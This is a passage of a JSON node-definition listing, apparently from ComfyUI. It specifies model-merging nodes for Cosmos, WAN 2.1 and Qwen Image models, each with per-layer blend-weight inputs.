"blocks.block7.", "blocks.block8.", "blocks.block9.", "blocks.block10.", "blocks.block11.", "blocks.block12.", "blocks.block13.", "blocks.block14.", "blocks.block15.", "blocks.block16.", "blocks.block17.", "blocks.block18.", "blocks.block19.", "blocks.block20.", "blocks.block21.", "blocks.block22.", "blocks.block23.", "blocks.block24.", "blocks.block25.", "blocks.block26.", "blocks.block27.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmos7B", "display_name": "ModelMergeCosmos7B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmos14B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "extra_pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "affline_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "extra_pos_embedder.", "x_embedder.", "t_embedder.", "affline_norm.", "blocks.block0.", "blocks.block1.", "blocks.block2.", "blocks.block3.", "blocks.block4.", "blocks.block5.", "blocks.block6.", "blocks.block7.", "blocks.block8.", "blocks.block9.", "blocks.block10.", "blocks.block11.", "blocks.block12.", "blocks.block13.", "blocks.block14.", "blocks.block15.", "blocks.block16.", "blocks.block17.", "blocks.block18.", "blocks.block19.", "blocks.block20.", "blocks.block21.", "blocks.block22.", "blocks.block23.", "blocks.block24.", "blocks.block25.", "blocks.block26.", "blocks.block27.", "blocks.block28.", "blocks.block29.", "blocks.block30.", "blocks.block31.", "blocks.block32.", "blocks.block33.", "blocks.block34.", "blocks.block35.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmos14B", "display_name": "ModelMergeCosmos14B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeWAN2_1": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "patch_embedding.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_embedding.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_projection.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "text_embedding.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "img_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.38.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.39.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "head.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "patch_embedding.", "time_embedding.", "time_projection.", "text_embedding.", "img_emb.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "blocks.28.", "blocks.29.", "blocks.30.", "blocks.31.", "blocks.32.", "blocks.33.", "blocks.34.", "blocks.35.", "blocks.36.", "blocks.37.", "blocks.38.", "blocks.39.", "head."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeWAN2_1", "display_name": "ModelMergeWAN2_1", "description": "1.3B model has 30 blocks, 14B model has 40 blocks. Image to video model has the extra img_emb.", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmosPredict2_2B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedding_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "x_embedder.", "t_embedder.", "t_embedding_norm.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmosPredict2_2B", "display_name": "ModelMergeCosmosPredict2_2B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmosPredict2_14B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedding_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "x_embedder.", "t_embedder.", "t_embedding_norm.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "blocks.28.", "blocks.29.", "blocks.30.", "blocks.31.", "blocks.32.", "blocks.33.", "blocks.34.", "blocks.35.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmosPredict2_14B", "display_name": "ModelMergeCosmosPredict2_14B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeQwenImage": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embeds.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "img_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txt_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txt_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_text_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.38.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.39.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.40.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.41.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.42.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.43.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.44.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.45.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.46.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.47.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.48.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.49.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.50.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.51.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.52.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.53.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.54.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.55.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.56.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.57.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.58.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.59.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "proj_out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embeds.", "img_in.", "txt_norm.", "txt_in.", "time_text_embed.", "transformer_blocks.0.", "transformer_blocks.1.", "transformer_blocks.2.", "transformer_blocks.3.", "transformer_blocks.4.", "transformer_blocks.5.", "transformer_blocks.6.", "transformer_blocks.7.", "transformer_blocks.8.", "transformer_blocks.9.", "transformer_blocks.10.", "transformer_blocks.11.", "transformer_blocks.12.", "transformer_blocks.13.", "transformer_blocks.14.", "transformer_blocks.15.", "transformer_blocks.16.", "transformer_blocks.17.", "transformer_blocks.18.", "transformer_blocks.19.", "transformer_blocks.20.", "transformer_blocks.21.", "transformer_blocks.22.", "transformer_blocks.23.", "transformer_blocks.24.", "transformer_blocks.25.", "transformer_blocks.26.", "transformer_blocks.27.", "transformer_blocks.28.", "transformer_blocks.29.", "transformer_blocks.30.", "transformer_blocks.31.", "transformer_blocks.32.", "transformer_blocks.33.", "transformer_blocks.34.", "transformer_blocks.35.", "transformer_blocks.36.", "transformer_blocks.37.", "transformer_blocks.38.", "transformer_blocks.39.", "transformer_blocks.40.", "transformer_blocks.41.", "transformer_blocks.42.", "transformer_blocks.43.", "transformer_blocks.44.", "transformer_blocks.45.", "transformer_blocks.46.", 